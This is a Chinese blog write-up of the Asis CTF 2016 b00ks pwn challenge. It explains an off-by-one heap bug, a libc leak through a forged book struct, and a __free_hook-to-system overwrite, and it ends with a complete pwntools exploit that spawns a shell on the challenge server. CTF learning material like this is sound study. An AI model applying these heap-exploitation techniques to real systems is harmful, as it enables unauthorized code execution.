Off by one的学习以及相关例题复现
学习于以下师傅Orz:
BUUCFT pwn asis2016_b00ks - 不会修电脑 - 博客园 (cnblogs.com)
关于off by null的学习总结 | ZIKH26's Blog
(*´∇`*) 被你发现啦~ 从对b00k题目学习中初习off-by-one——学pwn小记(7) | lexsd6's home
(*´∇`*) 被你发现啦~ 高版本libc(2.29-2.32) off by null利用姿势笔记 | lexsd6's home
off by null利用总结 - Luexp (nopnoping.github.io)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
off by one大家都知道是什么,就是让溢出的这一个字节来修改下一个chunk的大小,以此手段来达成一些我们想要的目的,用一道经典例题可以讲解这种用法之一是什么。
例题:Asis CTF 2016 b00ks

在其中input_name_函数中,发现输入author name有一个off by one漏洞

判断条件在for里面,如果i=a2的时候,for循环仍然会读入一个字节的数据,那么就可以溢出一个字节
-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
再来看malloc_函数

可以看出来book_addr_chunk其实是一个结构体,存的什么似乎有些难理解,在pwndbg中看一眼,当然我在ida中没有自定义这个结构体,如果像更精确的在ida中看可以自己定义这个结构体,四个变量都是八字节

我使用的左边的数据来创建的,可以发现,在结构体chunk中,存放数据如下:

free_函数:

在free后,只置空了一个chunk,用pwndb看看,右边是没有free的,左边是free过后的,发现只有book_name_chunk被置空了,但是book_addr_chunk中的内容没有改变,所以可能纯在一个uaf等漏洞(按理说应该不会变,但是不知道为什么,这里调试的是本地2.23.so,如果是我理解错了或者有人明白的话可以联系我)

edit_函数:
打印id和book_name和description和author_name

通过分析我们已然对这个程序清晰明了了,我们知道有一个off by one,可以去看看溢出的点到底在哪,可以看到下面有一个unk_202024,按x交叉查找发现这刚好是存放book_addr_chunk的地址的地方

利用vmmap基地址找到name存放的地方,可以发现我输入的‘aaaa’在下面,而下面的0x5555556054a0刚好指向的就是book_adddr_chunk的内容


我们修改名字为最大字节溢出一字节看看,输入32个‘a’,达到off by one的目的,可以发现已经有一个字节被我们变成了00

具体利用方法:我们可以设计好每一个chunk的大小,使得我们修改后的指针指向description_chunk,我们又可以在这个chunk钟再次伪造一个fake_book_addr_chunk,使得fake_book_addr_chunk指向我们的构造的unsort chunk中,再通过show函数就可以泄露libc了,再通过改写free_hook为system函数,free掉一个/bin/sh的chunk即可控制权限,或者改写malloc_hook,通过one_gadget和realloc_hook来控制权限,下面的脚本是free_hook的,同样更改了一些东西方便调试。(如有问题请联系我)
还有利用mmap泄露libc,似乎因为偏移是固定的,且版本的问题打不通,暂时还不懂,如有明白的师傅可以联系我
完整exp:
from pwn import * p=remote("node4.buuoj.cn",29641) #p = process('b00ks') elf=ELF('./b00ks') libc=ELF('./libc-2.23.so') context.log_level='debug' def Create(name_size,name,description_size,description): p.recvuntil('> ') p.sendline(str(1)) p.recvuntil('Enter book name size: ') p.sendline(str(name_size)) p.recvuntil('Enter book name (Max 32 chars): ') p.sendline(name) p.recvuntil('Enter book description size: ') p.sendline(str(description_size)) p.recvuntil('Enter book description: ') p.sendline(description) def Delete(book_id): p.recvuntil('> ') p.sendline(str(2)) p.recvuntil('Enter the book id you want to delete: ') p.sendline(str(book_id)) def Edit(book_id,description): p.recvuntil('> ') p.sendline(str(3)) p.recvuntil('Enter the book id you want to edit: ') p.sendline(str(book_id)) p.recvuntil('Enter new book description: ') p.sendline(description) def Show(): p.recvuntil('> ') p.sendline(str(4)) def Change_name(name): p.recvuntil('> ') p.sendline(str(5)) p.recvuntil('Enter author name: ') p.sendline(name) p.recvuntil('Enter author name: ') p.sendline(b'a'*31+b'b') Create(0xd0,b'aaaaaaaa',0x20,b'bbbbbbbbb') Show() p.recvuntil('aaab') #gdb.attach(p) #pause(1) leak_heap_addr=u64(p.recv(6).ljust(8,b'\x00')) print('leak_heap_addr:',hex(leak_heap_addr)) #gdb.attach(p) #pause(1) Create(0x80,'cccccccc',0x60,'dddddddd') Create(0x20,'/bin/sh',0x20,'/bin/sh') Delete(2) Edit(1,p64(1)+p64(leak_heap_addr+0x30)+p64(leak_heap_addr+0x180+0x50)+p64(0x20)) Change_name(b'a'*32) Show() libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-88-0x10-libc.symbols['__malloc_hook'] print('libc_base:'+hex(libc_base)) free_hook=libc_base+libc.symbols['__free_hook'] system=libc_base+libc.symbols['system'] Edit(1,p64(free_hook)+b'\x00'*2+b'\x20') #gdb.attach(p) #pause(1) print('free_hook:'+hex(free_hook)) Edit(3,p64(system)) Delete(3) p.interactive()

浙公网安备 33010602011771号